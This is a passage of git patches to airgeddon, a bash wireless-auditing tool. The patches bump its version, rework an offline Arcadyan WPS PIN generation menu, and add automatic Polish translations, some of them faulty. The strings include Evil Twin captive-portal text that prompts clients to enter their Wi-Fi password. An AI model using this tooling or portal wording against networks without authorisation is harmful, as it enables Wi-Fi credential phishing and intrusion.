From f448b7dc429e245a9d003c1a9f4bc91cf58398d5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 17 Oct 2017 00:01:17 +0200 Subject: [PATCH 01/70] Preparing version number for 7.23 --- README.md | 2 +- airgeddon.sh | 8 ++++---- language_strings.sh | 4 ++-- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index f1c1a3a70..2bc795573 100644 --- a/README.md +++ b/README.md @@ -76,7 +76,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-7.22-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-7.23-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=f9ff5a "Docker rules!" diff --git a/airgeddon.sh b/airgeddon.sh index 722171569..7cf03063b 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,8 +2,8 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171004 -#Version......: 7.22 +#Date.........: 20171017 +#Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -110,8 +110,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="7.22" -language_strings_expected_version="7.22-1" +airgeddon_version="7.23" +language_strings_expected_version="7.23-1" standardhandshake_filename="handshake-01.cap" tmpdir="/tmp/" osversionfile_dir="/etc/" diff --git a/language_strings.sh b/language_strings.sh index dc8647028..53ea52f17 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171008 +#Date.........: 20171017 #Bash Version.: 4.2 or later #Set language_strings file version @@ -11,7 +11,7 @@ function set_language_strings_version() { debug_print - language_strings_version="7.22-1" + language_strings_version="7.23-1" } #Set different language text strings From 1b9c70010ada0a3d1134c85822bcbd8eb350dda5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 17 Oct 2017 17:16:03 +0200 Subject: [PATCH 02/70] Improvement to avoid entering always in a conditional on language_strings.sh --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 53ea52f17..530f4c930 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -21,7 +21,7 @@ function language_strings() { debug_print - if [[ ! -v "${wps_data_array}" ]]; then + if [[ "$(declare -p wps_data_array 2> /dev/null)" != "declare -A"* ]]; then declare -gA wps_data_array fi From ba88467e9ccca667ca57c05bff2c6b9c39547c3e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 17 Oct 2017 17:17:23 +0200 Subject: [PATCH 03/70] Fixed russian string 490 --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 530f4c930..8544bcfe0 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -4842,7 +4842,7 @@ function language_strings() { arr["FRENCH",490]="L'algorithme Arcadyan nécessite des données très spécifiques pour calculer le PIN (le numéro de série du point d'accès). L'obtention de ces données peut prendre un certain temps. Vous pouvez choisir optionnellement d'essayer de le générer. Ce PIN généré est très utile dans les réseaux de type Orange-XXXX" arr["CATALAN",490]="L'algoritme Arcadyan necessita una dada molt concret per poder calcular el PIN (el nombre de sèrie del punt d'accés). Obtenir aquesta dada pot portar prou de temps. Podràs triar opcionalment intentar generar-lo. Aquest PIN generat és molt útil en xarxes del tipus Orange-XXXX" arr["PORTUGUESE",490]="O algoritmo Arcadyan precisa de dados muito específicos para calcular o PIN (o número de série do ponto de acesso). Obter esses dados pode levar bastante tempo mas você pode optar por tentar gerá-los. O PIN gerado é muito útil nas redes Orange-XXXX" - arr["RUSSIAN",490]="Алгоритм Arcadyan требует очень специфических данных для расчета PIN-кода (серийный номер точки доступа). Получение этих данных может занять много времени. При желании вы можете сгенерировать PIN, используя этот алгоритм. Этот сгенерированный PIN-код очень полезен в сетях типа Orange-XXX" + arr["RUSSIAN",490]="Алгоритм Arcadyan требует очень специфических данных для расчета PIN-кода (серийный номер точки доступа). Получение этих данных может занять много времени. При желании вы можете сгенерировать PIN, используя этот алгоритм. Этот сгенерированный PIN-код очень полезен в сетях типа Orange-XXXX" arr["GREEK",490]="Ο αλγόριθμος Arcadyan χρειάζεται πολύ συγκεκριμένα δεδομένα για τον υπολογισμό του PIN (ο σειριακός αριθμός του σημείου πρόσβασης). Η λήψη αυτών των δεδομένων μπορεί να χρειαστεί αρκετό χρόνο. Μπορείτε να επιλέξετε να προσπαθήσετε να το δημιουργήσετε. Tο PIN που θα δημιουργηθεί είναι πολύ χρήσιμο σε δίκτυα τύπου Orange-XXXX" arr["ITALIAN",490]="L'algoritmo Arcadyan richiede dati molto specifici per calcolare il PIN (il numero di serie del punto di accesso). Ottenere questi dati può richiedere molto tempo. Puoi scegliere opzionalmente di provare a generarlo. Questo PIN generato è molto utile nelle reti di tipo Orange-XXXX" From 29938057f912a2695b1d7affffeebb1669ff82ad Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 19 Oct 2017 00:02:08 +0200 Subject: [PATCH 04/70] Fixed error in Docker container on some host O.S. --- CHANGELOG.md | 3 +++ airgeddon.sh | 8 +++++--- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9a891d5dc..fa111857e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,6 @@ +### 7.23 + - Fixed error in Docker container on some host O.S. + ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 - Arcadyan WPS PIN generation algorithm integrated diff --git a/airgeddon.sh b/airgeddon.sh index 7cf03063b..714cb4e4e 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171017 +#Date.........: 20171019 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -9574,14 +9574,16 @@ function initialize_script_settings() { declare -gA wps_data_array } -#Detect if there is a working X window system +#Detect if there is a working X window system excepting for docker container function check_xwindow_system() { debug_print if hash xset 2> /dev/null; then if ! xset -q > /dev/null 2>&1; then - xterm_ok=0 + if [ "${is_docker}" -eq 0 ]; then + xterm_ok=0 + fi fi fi } From 7cee69330cd692fdf591df74b8641d1757f06b93 Mon Sep 17 00:00:00 2001 From: rdcdt1 <32702263+rdcdt1@users.noreply.github.com> Date: Thu, 19 Oct 2017 14:30:41 +0200 Subject: [PATCH 05/70] Update language_strings.sh misspellings in french --- language_strings.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 8544bcfe0..6e0a99d1f 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1032,7 +1032,7 @@ function language_strings() { arr["ENGLISH",67]="When started, press [Ctrl+C] to stop..." arr["SPANISH",67]="Una vez empezado, pulse [Ctrl+C] para pararlo..." - arr["FRENCH",67]="Une foi l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." + arr["FRENCH",67]="Une fois l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." arr["CATALAN",67]="Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..." arr["PORTUGUESE",67]="Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." arr["RUSSIAN",67]="После запуска, нажмите [Ctrl+C] для остановки..." From 4bcb3db1418c6bbe74e7f972408e1e368d7d7b9f Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 20 Oct 2017 00:13:15 +0200 Subject: [PATCH 06/70] Fixed error message on offline Arcadyan PIN algorithm calculation --- CHANGELOG.md | 1 + airgeddon.sh | 53 ++++++++++++++++++++++++++-------------------------- 2 files changed, 28 insertions(+), 26 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fa111857e..6febc38aa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ### 7.23 - Fixed error in Docker container on some host O.S. + - Fixed error message on offline Arcadyan PIN algorithm calculation ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 diff --git a/airgeddon.sh b/airgeddon.sh index 714cb4e4e..e3a4cb4b0 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171019 +#Date.........: 20171020 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -4161,40 +4161,41 @@ function offline_pin_generation_menu() { if [ "${yesno}" = "y" ]; then if check_monitor_enabled; then - able_to_check_json_option_on_wash=0 if hash wash 2> /dev/null; then - able_to_check_json_option_on_wash=1 - if [ "${able_to_check_json_option_on_wash}" -eq 1 ]; then - if check_json_option_on_wash; then - - echo - language_strings "${language}" 489 "blue" - - serial="" - wash_json_scan "${wps_bssid}" - if [ -n "${serial}" ]; then - if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then - set_wps_mac_parameters - calculate_arcadyan_algorithm - pin_checksum_rule "${arcadyan_pin}" - arcadyan_pin="${arcadyan_pin}${checksum_digit}" - fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}" - offline_arcadyan_pin_can_be_shown=1 - else - echo - language_strings "${language}" 491 "yellow" - fi - echo + if check_json_option_on_wash; then + + echo + language_strings "${language}" 489 "blue" + + serial="" + wash_json_scan "${wps_bssid}" + if [ -n "${serial}" ]; then + if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then + set_wps_mac_parameters + calculate_arcadyan_algorithm + pin_checksum_rule "${arcadyan_pin}" + arcadyan_pin="${arcadyan_pin}${checksum_digit}" + fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}" + offline_arcadyan_pin_can_be_shown=1 else echo - language_strings "${language}" 488 "red" + language_strings "${language}" 491 "yellow" language_strings "${language}" 115 "read" fi + echo + else + echo + language_strings "${language}" 488 "red" + language_strings "${language}" 115 "read" fi + else + echo + language_strings "${language}" 486 "red" + language_strings "${language}" 115 "read" fi else echo - language_strings "${language}" 486 "red" + language_strings "${language}" 492 "red" language_strings "${language}" 115 "read" fi fi From 6d21532cace4df04a83454c3d49aaa791b543f82 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 21 Oct 2017 18:51:34 +0200 Subject: [PATCH 07/70] Started polish translation (automatic mode) --- airgeddon.sh | 21 +++++++++++- language_strings.sh | 81 ++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 92 insertions(+), 10 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index e3a4cb4b0..2063ebca3 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171020 +#Date.........: 20171021 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -31,6 +31,7 @@ declare -A lang_association=( ["ru"]="RUSSIAN" ["gr"]="GREEK" ["it"]="ITALIAN" + ["pl"]="POLISH" ) #Tools vars @@ -410,6 +411,7 @@ function language_strings_handling_messages() { language_strings_no_file["RUSSIAN"]="Ошибка. Не найден языковой файл" language_strings_no_file["GREEK"]="Σφάλμα. Το αρχείο γλωσσών δεν βρέθηκε" language_strings_no_file["ITALIAN"]="Errore. Non si trova il file delle traduzioni" + language_strings_no_file["POLISH"]="${pending_of_translation} Błąd. Nie znaleziono pliku tłumaczenia" declare -gA language_strings_file_mismatch language_strings_file_mismatch["ENGLISH"]="Error. The language strings file found mismatches expected version" @@ -420,6 +422,7 @@ function language_strings_handling_messages() { language_strings_file_mismatch["RUSSIAN"]="Ошибка. Языковой файл не соответствует ожидаемой версии" language_strings_file_mismatch["GREEK"]="Σφάλμα. Το αρχείο γλωσσών που έχει βρεθεί δεν αντιστοιχεί με την προαπαιτούμενη έκδοση" language_strings_file_mismatch["ITALIAN"]="Errore. Il file delle traduzioni trovato non è la versione prevista" + language_strings_file_mismatch["POLISH"]="${pending_of_translation} Błąd. Znaleziony plik tłumaczenia nie jest oczekiwaną wersją" declare -gA language_strings_try_to_download language_strings_try_to_download["ENGLISH"]="airgeddon will try to download the language strings file..." @@ -430,6 +433,7 @@ function language_strings_handling_messages() { language_strings_try_to_download["RUSSIAN"]="airgeddon попытается загрузить языковой файл..." language_strings_try_to_download["GREEK"]="Το airgeddon θα προσπαθήσει να κατεβάσει το αρχείο γλωσσών..." language_strings_try_to_download["ITALIAN"]="airgeddon cercherá di scaricare il file delle traduzioni..." + language_strings_try_to_download["POLISH"]="${pending_of_translation} airgeddon spróbuje pobrać plik tłumaczeń..." declare -gA language_strings_successfully_downloaded language_strings_successfully_downloaded["ENGLISH"]="Language strings file was successfully downloaded" @@ -440,6 +444,7 @@ function language_strings_handling_messages() { language_strings_successfully_downloaded["RUSSIAN"]="Языковой файл был успешно загружен" language_strings_successfully_downloaded["GREEK"]="Το αρχείο γλωσσών κατέβηκε με επιτυχία" language_strings_successfully_downloaded["ITALIAN"]="Il file delle traduzioni è stato scaricato con successo" + language_strings_successfully_downloaded["POLISH"]="${pending_of_translation} Plik z tłumaczeniem został pomyślnie pobrany" declare -gA language_strings_failed_downloading language_strings_failed_downloading["ENGLISH"]="The language string file can't be downloaded. Check your internet connection or download it manually from ${normal_color}${urlgithub}" @@ -450,6 +455,7 @@ function language_strings_handling_messages() { language_strings_failed_downloading["RUSSIAN"]="Языковой файл не может быть загружен. Проверьте подключение к Интернету или загрузите его вручную с ${normal_color}${urlgithub}" language_strings_failed_downloading["GREEK"]="Το αρχείο γλωσσών δεν μπορεί να κατέβει. Ελέγξτε τη σύνδεση σας με το διαδίκτυο ή κατεβάστε το χειροκίνητα ${normal_color}${urlgithub}" language_strings_failed_downloading["ITALIAN"]="Impossibile scaricare il file delle traduzioni. Controlla la tua connessione a internet o scaricalo manualmente ${normal_color}${urlgithub}" + language_strings_failed_downloading["POLISH"]="${pending_of_translation} Nie można pobrać pliku tłumaczenia. Sprawdź połączenie internetowe lub ręcznie pobierz go z ${normal_color}${urlgithub}" declare -gA language_strings_first_time language_strings_first_time["ENGLISH"]="If you are seeing this message after an automatic update, don't be scared! It's probably because airgeddon has different file structure since version 6.1. It will be automatically fixed" @@ -460,6 +466,7 @@ function language_strings_handling_messages() { language_strings_first_time["RUSSIAN"]="Если вы видите это сообщение после автоматического обновления, не переживайте! Вероятно, это объясняется тем, что, начиная с версии 6.1, airgeddon имеет другую структуру файлов. Проблема будет разрешена автоматически" language_strings_first_time["GREEK"]="Εάν βλέπετε αυτό το μήνυμα μετά από κάποια αυτόματη ενημέρωση, μην τρομάξετε! Πιθανόν είναι λόγω της διαφορετικής δομής του airgeddon μετά από την έκδοση 6.1. Θα επιδιορθωθεί αυτόματα" language_strings_first_time["ITALIAN"]="Se stai vedendo questo messaggio dopo un aggiornamento automatico, niente panico! probabilmente è perché a partire dalla versione 6.1 é cambiata la struttura dei file di airgeddon. Sarà riparato automaticamente" + language_strings_first_time["POLISH"]="${pending_of_translation} Jeśli widzisz tę wiadomość po automatycznej aktualizacji, nie bój się! prawdopodobnie dlatego, że w wersji 6.1 zmieniła się struktura plików airgeddon. Naprawi się automatycznie" declare -gA language_strings_exiting language_strings_exiting["ENGLISH"]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" @@ -470,6 +477,7 @@ function language_strings_handling_messages() { language_strings_exiting["RUSSIAN"]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" language_strings_exiting["GREEK"]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" language_strings_exiting["ITALIAN"]="Uscendo dallo script airgeddon v${airgeddon_version} - A presto! :)" + language_strings_exiting["POLISH"]="${pending_of_translation} Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)" declare -gA language_strings_key_to_continue language_strings_key_to_continue["ENGLISH"]="Press [Enter] key to continue..." @@ -480,6 +488,7 @@ function language_strings_handling_messages() { language_strings_key_to_continue["RUSSIAN"]="Нажмите клавишу [Enter] для продолжения..." language_strings_key_to_continue["GREEK"]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." language_strings_key_to_continue["ITALIAN"]="Premere il tasto [Enter] per continuare..." + language_strings_key_to_continue["POLISH"]="${pending_of_translation} Naciśnij klawisz [Enter], aby kontynuować..." } #Toggle language auto-detection feature @@ -1516,6 +1525,7 @@ function language_menu() { language_strings "${language}" 308 language_strings "${language}" 320 language_strings "${language}" 482 + language_strings "${language}" 506 print_simple_separator language_strings "${language}" 446 print_hint ${current_menu} @@ -1596,6 +1606,15 @@ function language_menu() { language_strings "${language}" 115 "read" ;; 9) + if [ "${language}" = "POLISH" ]; then + language_strings "${language}" 251 "red" + else + language="POLISH" + language_strings "${language}" 505 "yellow" + fi + language_strings "${language}" 115 "read" + ;; + 10) return ;; *) diff --git a/language_strings.sh b/language_strings.sh index 6e0a99d1f..8bb80e27d 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171017 +#Date.........: 20171021 #Bash Version.: 4.2 or later #Set language_strings file version @@ -34,6 +34,7 @@ function language_strings() { unknown_chipset["RUSSIAN"]="Неизвестно" unknown_chipset["GREEK"]="Άγνωστο" unknown_chipset["ITALIAN"]="Sconosciuto" + unknown_chipset["POLISH"]="${pending_of_translation} Nieznany" unknown_chipsetvar="${unknown_chipset[${language}]}" declare -A hintprefix @@ -45,6 +46,7 @@ function language_strings() { hintprefix["RUSSIAN"]="Подсказка" hintprefix["GREEK"]="Συμβουλή" hintprefix["ITALIAN"]="Consiglio" + hintprefix["POLISH"]="${pending_of_translation} The" hintvar="*${hintprefix[${language}]}*" escaped_hintvar="\*${hintprefix[${language}]}\*" @@ -57,6 +59,7 @@ function language_strings() { optionaltool_needed["RUSSIAN"]="Опция заблокирована, требуется: " optionaltool_needed["GREEK"]="Κλειδωμένη επιλογή, χρειάζεται: " optionaltool_needed["ITALIAN"]="Opzione bloccata, richiede: " + optionaltool_needed["POLISH"]="${pending_of_translation} Zablokowana opcja, wymaga:" declare -A under_construction under_construction["ENGLISH"]="under construction" @@ -67,6 +70,7 @@ function language_strings() { under_construction["RUSSIAN"]="на ремонте" under_construction["GREEK"]="υπό κατασκευή" under_construction["ITALIAN"]="in costruzione" + under_construction["POLISH"]="${pending_of_translation} w budowie" under_constructionvar="${under_construction[${language}]}" declare -gA possible_package_names_text @@ -78,6 +82,7 @@ function language_strings() { possible_package_names_text["RUSSIAN"]="Возможное имя пакета" possible_package_names_text["GREEK"]="Πιθανό όνομα πακέτου" possible_package_names_text["ITALIAN"]="Possibile nome del pacchetto" + possible_package_names_text["POLISH"]="${pending_of_translation} Możliwa nazwa pakietu" declare -gA et_misc_texts et_misc_texts["ENGLISH",0]="Evil Twin AP Info" @@ -88,6 +93,7 @@ function language_strings() { et_misc_texts["RUSSIAN",0]="Информация о Злом Двойнике ТД" et_misc_texts["GREEK",0]="Πληροφορίες Evil Twin AP" et_misc_texts["ITALIAN",0]="Info Evil Twin AP" + et_misc_texts["POLISH",0]="${pending_of_translation} Info Evil Twin AP" et_misc_texts["ENGLISH",1]="Channel" et_misc_texts["SPANISH",1]="Canal" @@ -97,6 +103,7 @@ function language_strings() { et_misc_texts["RUSSIAN",1]="Канал" et_misc_texts["GREEK",1]="Κανάλι" et_misc_texts["ITALIAN",1]="Canale" + et_misc_texts["POLISH",1]="${pending_of_translation} Kanał" et_misc_texts["ENGLISH",2]="Online time" et_misc_texts["SPANISH",2]="Tiempo online" @@ -106,6 +113,7 @@ function language_strings() { et_misc_texts["RUSSIAN",2]="Время онлайн" et_misc_texts["GREEK",2]="Χρόνος σε σύνδεση" et_misc_texts["ITALIAN",2]="Tempo online" + et_misc_texts["POLISH",2]="${pending_of_translation} Czas online" et_misc_texts["ENGLISH",3]="DHCP ips given to possible connected clients" et_misc_texts["SPANISH",3]="Ips entregadas por DHCP a posibles clientes conectados" @@ -115,6 +123,7 @@ function language_strings() { et_misc_texts["RUSSIAN",3]="IP, которые DHCP будет давать возможным подключённым клиентам" et_misc_texts["GREEK",3]="DHCP IP διευθύνσεις που έχουν δωθεί σε πιθανούς συνδεδεμένους χρήστες" et_misc_texts["ITALIAN",3]="Ips forniti dal DHCP a possibili clienti collegati" + et_misc_texts["POLISH",3]="${pending_of_translation} IP dostarczane przez DHCP do potencjalnych klientów połączonych" et_misc_texts["ENGLISH",4]="With this attack you have to use an external sniffer to try to obtain client passwords connected to the network" et_misc_texts["SPANISH",4]="Con este ataque has de usar un sniffer externo para intentar obtener contraseñas de los clientes conectados a la red" @@ -124,6 +133,7 @@ function language_strings() { et_misc_texts["RUSSIAN",4]="С этой атакой вам нужно использовать внешний сниффер для попытки получить пароли клиентов, подключённых к сети" et_misc_texts["GREEK",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς πρόσβασης από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" et_misc_texts["ITALIAN",4]="Con questo attacco è necessario utilizzare uno sniffer esterno per cercare di ottenere le password dei clienti connessi alla rete" + et_misc_texts["POLISH",4]="${pending_of_translation} W tym ataku musisz użyć zewnętrznego sniffer, aby spróbować uzyskać hasła od klientów podłączonych do sieci" et_misc_texts["ENGLISH",5]="With this attack, watch the sniffer's screen to see if a password appears" et_misc_texts["SPANISH",5]="Con este ataque, estate atento a la pantalla del sniffer para ver si aparece alguna contraseña" @@ -133,6 +143,7 @@ function language_strings() { et_misc_texts["RUSSIAN",5]="С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля" et_misc_texts["GREEK",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός πρόσβασης" et_misc_texts["ITALIAN",5]="Con questo attacco, presta attenzione alla schermata dello sniffer per vedere se compare una password" + et_misc_texts["POLISH",5]="${pending_of_translation} Podczas tego ataku pozostajcie na ekranie sniffer, aby zobaczyć, czy pojawia się hasło" et_misc_texts["ENGLISH",6]="With this attack, we'll wait for a network client to provide us with the password for the wifi network in our captive portal" et_misc_texts["SPANISH",6]="Con este ataque, esperaremos a que un cliente de la red nos provea de la contraseña de la red wifi en nuestro portal cautivo" @@ -142,6 +153,7 @@ function language_strings() { et_misc_texts["RUSSIAN",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для wifi сети на нашем перехватывающем портале" et_misc_texts["GREEK",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό πρόσβασης του wifi στο captive portal μας" et_misc_texts["ITALIAN",6]="Con questo attacco, aspettaremo che un cliente della rete ci fornisca la password per la rete wireless attraverso il nostro captive portal" + et_misc_texts["POLISH",6]="${pending_of_translation} Wraz z tym atakiem poczekamy na klienta sieci, aby podać nam hasło do sieci wifi w naszym portalu" et_misc_texts["ENGLISH",7]="No clients connected yet" et_misc_texts["SPANISH",7]="No hay clientes conectados aún" @@ -151,6 +163,7 @@ function language_strings() { et_misc_texts["RUSSIAN",7]="Клиенты ещё не подключены" et_misc_texts["GREEK",7]="Ακόμα κανένας συνδεδεμένος χρήστης" et_misc_texts["ITALIAN",7]="Non ci sono ancora clienti collegati" + et_misc_texts["POLISH",7]="${pending_of_translation} Żaden klient nie był jeszcze podłączony" et_misc_texts["ENGLISH",8]="airgeddon. Evil Twin attack captured passwords" et_misc_texts["SPANISH",8]="airgeddon. Contraseñas capturadas en ataque Evil Twin" @@ -160,6 +173,7 @@ function language_strings() { et_misc_texts["RUSSIAN",8]="airgeddon. Атака Злой Двойник захватила пароли" et_misc_texts["GREEK",8]="airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς πρόσβασης" et_misc_texts["ITALIAN",8]="airgeddon. Password catturate con l'attacco Evil Twin" + et_misc_texts["POLISH",8]="${pending_of_translation} airgeddon. Hasła zdobyte podczas ataku Evil Twin" et_misc_texts["ENGLISH",9]="Wireless network, ESSID:" et_misc_texts["SPANISH",9]="Red inalámbrica, ESSID:" @@ -169,6 +183,7 @@ function language_strings() { et_misc_texts["RUSSIAN",9]="Беспроводная сеть, ESSID:" et_misc_texts["GREEK",9]="Ασύρματο Δίκτυο, ESSID:" et_misc_texts["ITALIAN",9]="Rete wireless, ESSID:" + et_misc_texts["POLISH",9]="${pending_of_translation} Sieć bezprzewodowa, ESSID:" et_misc_texts["ENGLISH",10]="Enter your wireless network password to get internet access" et_misc_texts["SPANISH",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" @@ -178,6 +193,7 @@ function language_strings() { et_misc_texts["RUSSIAN",10]="Введите пароль Вашей беспроводной сети для подключения к Интернету" et_misc_texts["GREEK",10]="Εισάγετε τον κωδικό πρόσβασης του wifi δικτύου σας για να υπάρξει σύνδεση στο διαδίκτυο" et_misc_texts["ITALIAN",10]="Introdurre la password della rete wireless per poter accedere a internet" + et_misc_texts["POLISH",10]="${pending_of_translation} Wprowadź hasło dostępu do sieci bezprzewodowej, aby uzyskać dostęp do internetu" et_misc_texts["ENGLISH",11]="Password" et_misc_texts["SPANISH",11]="Contraseña" @@ -187,6 +203,7 @@ function language_strings() { et_misc_texts["RUSSIAN",11]="Пароль" et_misc_texts["GREEK",11]="Κωδικός πρόσβασης" et_misc_texts["ITALIAN",11]="Password" + et_misc_texts["POLISH",11]="${pending_of_translation} Hasło" et_misc_texts["ENGLISH",12]="Show password" et_misc_texts["SPANISH",12]="Mostrar contraseña" @@ -196,6 +213,7 @@ function language_strings() { et_misc_texts["RUSSIAN",12]="Показать пароль" et_misc_texts["GREEK",12]="Εμφάνιση κωδικού πρόσβασης" et_misc_texts["ITALIAN",12]="Mostrare password" + et_misc_texts["POLISH",12]="${pending_of_translation} Pokaż hasło" et_misc_texts["ENGLISH",13]="Submit" et_misc_texts["SPANISH",13]="Enviar" @@ -205,6 +223,7 @@ function language_strings() { et_misc_texts["RUSSIAN",13]="Отправить" et_misc_texts["GREEK",13]="Υποβολή" et_misc_texts["ITALIAN",13]="Inviare" + et_misc_texts["POLISH",13]="${pending_of_translation} Wyślij" et_misc_texts["ENGLISH",14]="An unexpected error occurred, redirecting to the main screen" et_misc_texts["SPANISH",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" @@ -214,6 +233,7 @@ function language_strings() { et_misc_texts["RUSSIAN",14]="Непредвиденная ошибка, перенаправление на главную страницу" et_misc_texts["GREEK",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",14]="Si è verificato un errore imprevisto, reindirizzando alla schermata principale" + et_misc_texts["POLISH",14]="${pending_of_translation} Wystąpił nieoczekiwany błąd, przekierowując do ekranu głównego" et_misc_texts["ENGLISH",15]="Internet Portal" et_misc_texts["SPANISH",15]="Portal de Internet" @@ -223,6 +243,7 @@ function language_strings() { et_misc_texts["RUSSIAN",15]="Интернет-портал" et_misc_texts["GREEK",15]="Internet Portal" et_misc_texts["ITALIAN",15]="Portale Internet" + et_misc_texts["POLISH",15]="${pending_of_translation} Portal internetowy" et_misc_texts["ENGLISH",16]="The password must be at least 8 characters" et_misc_texts["SPANISH",16]="La contraseña debe tener al menos 8 caracteres" @@ -232,6 +253,7 @@ function language_strings() { et_misc_texts["RUSSIAN",16]="Длина пароля должна быть не менее 8 символов" et_misc_texts["GREEK",16]="Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες" et_misc_texts["ITALIAN",16]="La password deve essere di almeno 8 caratteri" + et_misc_texts["POLISH",16]="${pending_of_translation} Hasło musi zawierać co najmniej 8 znaków" et_misc_texts["ENGLISH",17]="The password is incorrect, redirecting to the main screen" et_misc_texts["SPANISH",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" @@ -241,6 +263,7 @@ function language_strings() { et_misc_texts["RUSSIAN",17]="Неправильный пароль, возврат на главную страницу" et_misc_texts["GREEK",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",17]="La password non è corretta, reindirizzando alla schermata principale" + et_misc_texts["POLISH",17]="${pending_of_translation} Wprowadzone hasło jest niepoprawne, przekierowanie do głównego ekranu" et_misc_texts["ENGLISH",18]="The password is correct, the connection will be restablished in a few moments" et_misc_texts["SPANISH",18]="La contraseña es correcta, la conexión se restablecerá en unos 